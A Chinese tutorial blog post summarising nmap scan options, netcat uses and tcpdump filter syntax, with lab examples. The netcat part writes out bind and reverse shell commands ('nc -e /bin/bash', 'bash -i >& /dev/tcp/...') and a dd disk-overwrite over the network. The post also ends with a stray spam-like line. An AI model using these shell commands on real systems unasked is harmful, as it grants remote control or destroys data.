nmap ncat tcpdump淺析

nmap 的使用

nmap — 網絡探測工具和安全/端口掃描器

Usage:nmap [ <掃描類型> …] [ <選項> ] { <掃描目標說明> }

掃描目標說明

  • -iL inputfilename (從列表中輸入)

從 inputfilename中讀取目標說明

[root@localhost ~]# nmap 192.168.27.128-132
[root@localhost ~]# nmap -iL nmap.txt
[root@localhost ~]# echo '192.168.27.128-132' | nmap -iL -
  • -iR <hostnum> (隨機選擇目標)

hostnum 選項告訴 Nmap生成多少個公網IP,選項0代表無休止的掃描。

  • –exclude <host1[,host2][,host3],…> (排除主機/網絡)

[root@localhost ~]# nmap -iL nmap.txt --exclude 192.168.27.130,192.168.27.132
  • –excludefile <excludefile> (排除文件中的列表)

[root@localhost ~]# nmap -iL nmap.txt --excludefile exclude.txt

主機發現

  • -sL (列表掃描)

列表掃描是主機發現的退化形式,它僅僅列出指定網絡上的每臺主機, 不發送任何報文到目標主機

  • -sP (Ping掃描)

該選項告訴Nmap僅僅進行ping掃描 (主機發現),然后打印出對掃描做出響應的那些主機。

  • -P0 (無ping)

該選項完全跳過Nmap發現階段。通常Nmap在進行高強度的掃描時用它確定正在運行的機器。

  • -PS [portlist] (TCP SYN Ping)

  • -PA [portlist] (TCP ACK Ping)

  • -PU [portlist] (UDP Ping)

以指定一個以逗號分隔的端口列表(如 -PS22,23,25,80,113,1050,35000)

端口掃描基礎

Nmap所識別的6個端口狀態

  • open(開放的)

  • closed(關閉的)

  • filtered(被過濾的)

  • unfiltered(未被過濾的)

  • open|filtered(開放或者被過濾的)

  • closed|filtered(關閉或者被過濾的)

端口掃描

  • -sS (tcp syn scan) 默認的掃描方式

  • -sT (tcp connect scan) 默認的tcp掃描發式

  • -sU (udp scan)

  • -sO (ip protocol san) 確定目標機支持哪些ip協議

  • -O | -A 探測目標主機的操作系統

  • -sV 掃描端口服務的版本

  • -p 只掃描指定端口

netcat

netcat是網絡工具中的瑞士軍刀,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,你可以在腳本中以多種方式使用它。

  • 端口掃描

[root@node1 ~]# nc -z -v -n 10.211.55.24 1-100
nc: connect to 10.211.55.24 port 1 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 2 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 3 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 4 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 5 (tcp) failed: Connection refused
...
默認運行tcp掃描,-u參數調整udp
-z 連接成功后立馬退出
-v 詳細內容輸出
-n 不進行反查
  • chat server

server
nc -l -v -p 1567
client
nc 10.211.55.24 1567
  • 文件傳輸

server
nc -l 1567 < file.txt
client
nc -n 10.211.55.24 1567 > file.txt
server端作為文件源,無論哪個客戶端訪問都會發送文件,反之...

server
nc -l 1567 > file.txt
client
nc -n 10.211.55.24 1567 < file.txt
server作為文件存放地,任何客戶端都可以發送文件到服務端
  • 目錄傳送

文件傳送很簡單,如果我們需要傳送目錄,我們需要先打包壓縮,接受后再解壓。

server
tar -czvf - dir_name | nc -l 1567
client 
nc -n 10.211.55.24 1567 | tar -xzvf -
  • 克隆一個設備

server
dd if=/dev/sda | nc -l 1567
client
nc -n 10.211.55.24 1567 | dd of=/dev/sda
  • 打開一個shell

假設netcat支持-c -e選項
server
nc -l 1567 [-e | -c] /bin/bash 
client
nc -n 10.211.55.24 1567
客戶端只要連接端口,就可以遠程操作shell
假設netcat不支持-c -e選項
server
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
client
nc -n 10.211.55.24 1567
會得到一個shell的提示符在客戶端
  • 反向shell

server 端監聽一個端口
nc -l 1567client 發送一個shell
nc 10.211.55.24 1567 -e /bin/bash
服務端獲得client的shell

linux本身也可以發送shell
bash -i >& /dev/tcp/10.211.55.24/1567 0>&1
服務端可以得到shell的提示符
  • 指定源地址和源端口

假設防火墻過濾了大多數端口,我們可以指定源端口
server
nc -l 1567
client
nc -n 10.211.55.35 -p 25

假設有多個地址,指定地址與外部通信
服務端
nc -u -l 1567 < file.txt
客戶端
nc -u 10.211.55.24 -s 10.211.55.35 > file.txt

tcpdump

tcpdump抓包命令,tcpdump是一個用于截取網絡分組,并輸出分組內容的工具。tcpdump憑借強大的功能和靈活的截取策略,使其成為類UNIX系統下用于網絡分析和問題排查的首選工具。

概述

tcpdump可以將網絡中傳送的數據包的“頭”完全截獲下來提供分析。它支持針對網絡層、協議、主機、網絡或端口的過濾,并提供and、or、not等邏輯語句來幫助你去掉無用的信息。

#tcpdump -vv
不帶參數的tcpdump會收集網絡中所有的信息包頭,數量巨大,必須過濾。

[opotion]

  • -A: 以ascii格式打印出所有分組,并將鏈路層的頭最小化

  • -c: 在收集到指定數量的分組后,tcpdump就會停止

  • -D: 打印出系統中所有可以用tcpdump截取包的網絡接口

  • -e: 在輸出行打印出數據鏈路層的頭部信息

  • -i: 指定監聽的網絡接口

  • -b: 在數據鏈路層選擇協議,包括arp、rarp,ipx

  • -n: 不把網絡地址裝換成名字

  • -nn:不進行端口名稱的轉換

  • -t: 在輸出的每一行不打印時間戳

  • -P: 不把接口設置成混雜模式

  • -q:快速輸出,只輸出較少的協議信息

  • -r:從指定的文件中讀取包(一般通過-w選項產生)

  • -w:寫入到文件中,一般以.pcap結尾

  • -v:輸出稍微詳細的信息

  • -vv:輸出詳細的報文信息

tcpdump的表達式

  1. 第一種是關于類型的關鍵字:主要包括host,net,port。

  2. 第二種是確定chuan傳輸方向的關鍵字:主要包括src,dst,dst or src,dst and src。

  3. 第三種是協議的關鍵字:主要包括fddi,ip,arp,icmp,tcp,udp等

輸出結果介紹

  • 數據鏈路層的信息

tcpdump -e host 10.211.55.
21:50:12.847509 eth0 < 8:0:20:79:5b:46 0:90:27:58:af:1a ip 60: h219.33357 > ICE. telne t 0:0(0) ack 22535 win 8760 (DF)
可以得到數據鏈路層mac地址的通信過程
  • icmp包的tcpdump輸出信息

[root@localhost ~]#tcpdump icmp 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
08:16:17.876094 IP node1 > 10.211.55.24: ICMP echo request, id 10800, seq 1, length 64
08:16:17.876125 IP 10.211.55.24 > node1: ICMP echo reply, id 10800, seq 1, length 64
  • tcp包的輸出信息

src > dst: flags data-seqno ack window urgent options
src > dst:表明從源地址到目的地址, flags是TCP報文中的標志信息,S 是SYN標志, F (FIN), P (PUSH) ,  R (RST) "." (沒有標記); data-seqno是報文中的數據 的順序號, ack是下次期望的順序號, window是接收緩存的窗口大小, urgent表明 報文中是否有緊急指針。 Options是選項。
  • udp包的輸出信息

oute.port1 > ICE.port2: udp lenth
UDP十分簡單,上面的輸出行表明從主機route的port1端口發出的一個UDP報文 到主機ICE的port2端口,類型是UDP, 包的長度是lenth。

舉例

  • (1) 想要截獲所有210.27.48.1 的主機收到的和發出的所有的分組:

#tcpdump host 210.27.48.1
  • (2) 想要截獲主機源地址210.27.48.1 和主機210.27.48.2或210.27.48.3的通信,使用命令(注意:括號前的反斜杠是必須的):

#tcpdump src host 210.27.48.1 and dst \( 210.27.48.2 or 210.27.48.3 \)
  • (3) 如果想要獲取主機210.27.48.1除了和主機210.27.48.2之外所有主機通信的ip包

#tcpdump ip host 210.27.48.1 and ! 210.27.48.2
  • (4) 如果想要獲取主機192.168.228.246接收或發出的ssh包,并且不轉換主機名使用

#tcpdump -nn -n  host 192.168.228.246 and port 22 and tcp
  • (5) 獲取主機192.168.228.246接收或發出的ssh包,并把mac地址也一同顯示

# tcpdump -e src host 192.168.228.246 and port 22 and tcp -n -nn
  • (6) 過濾源主機物理地址為XXX的報頭:

tcpdump ether src 00:50:04:BA:9B

tcpdump命令格式

tcpdump [-nn] [-i 接口] [-w 儲存檔名] [-c 次數] [-Ae]  [-qX] [-r 文件] [所欲捕獲的數據內容]

-X,可以列出十六進制 (hex) 以及 ASCII 的數據包內容,對于監聽數據包內容很有用。

原創文章,作者:N25_隨心,如若轉載,請注明出處:http://www.www58058.com/67897

(0)
N25_隨心N25_隨心
上一篇 2017-03-15
下一篇 2017-03-15

相關推薦

  • SUID_SGID_Sticky簡單總結

    參考: http://blog.chinaunix.net/uid-25314474-id-3313109.html —————————————權限——&#82…

    Linux干貨 2015-09-14
  • 圖解 lvs 工作原理

    一.lvs 基本工作流程介紹  如圖1,ipvsadm定義lvs服務監聽的ip和port,并發送給ipvs,而ipvs是工作在netfilter的input鉤子上的程序,當input鏈中有目標ip屬于lvs服務的請求報文時,ipvs就會修改該報文的鏈路,使其不進入用戶空間而直接轉到postrouting鏈上,并轉發給其中一臺real server,…

    Linux干貨 2016-10-30
  • 文本處理工具初探

    作為一個系統管理員,文本處理功能是經常使用的,熟練地使用各種文本工具有助于提高工作效率,從繁忙的工作中早點解脫。下面就來介紹處理文本的常用命令。 處理文本的命令大致分為:        查看文件內容:cat、less、more       …

    Linux干貨 2016-08-07
  • LVS 工作模型和調度算法

    簡介   LVS是Linux Virtual Server的簡寫,意即Linux虛擬服務器,是一個虛擬的服務器集群系統。本項目在1998年5月由章文嵩博士成立,是中國國內最早出現的自由軟件項目之一。 LVS是四層負載均衡,也就是說建立在OSI模型的第四層——傳輸層之上,傳輸層上有我們熟悉的TCP/UDP,LVS支持TCP/UDP的負載均衡 &nbs…

    Linux干貨 2016-12-19
  • Shell運算符

    Bash 支持很多運算符,包括算數運算符、關系運算符、布爾運算符、字符串運算符和文件測試運算符。 原生bash不支持簡單的數學運算,但是可以通過其他命令來實現,例如 awk 和 expr,expr 最常用。 expr 是一款表達式計算工具,使用它能完成表達式的求值操作。 例如,兩個數相加: #!/bin/bash val=`expr 2 + 2` echo …

    Linux干貨 2017-04-18
  • linux權限管理

    linux文件權限    文件的屬性和權限的設置對于linux系統來說是相當重要的,如果對這一塊的知識沒有一個深入的了解,你的系統就有可能有很大的危險。那么首先我們來看一看文件的屬性所對應的都是什么意思吧。 上圖第一個字符是d,他代表了文件的類型,d的意思就是目錄文件,那么除了目錄文件還有什么文件呢?    …

    Linux干貨 2016-08-04

評論列表(1條)

  • 馬哥教育
    馬哥教育 2017-03-30 14:09

    很棒的歸納總結,加油。

欧美性久久久久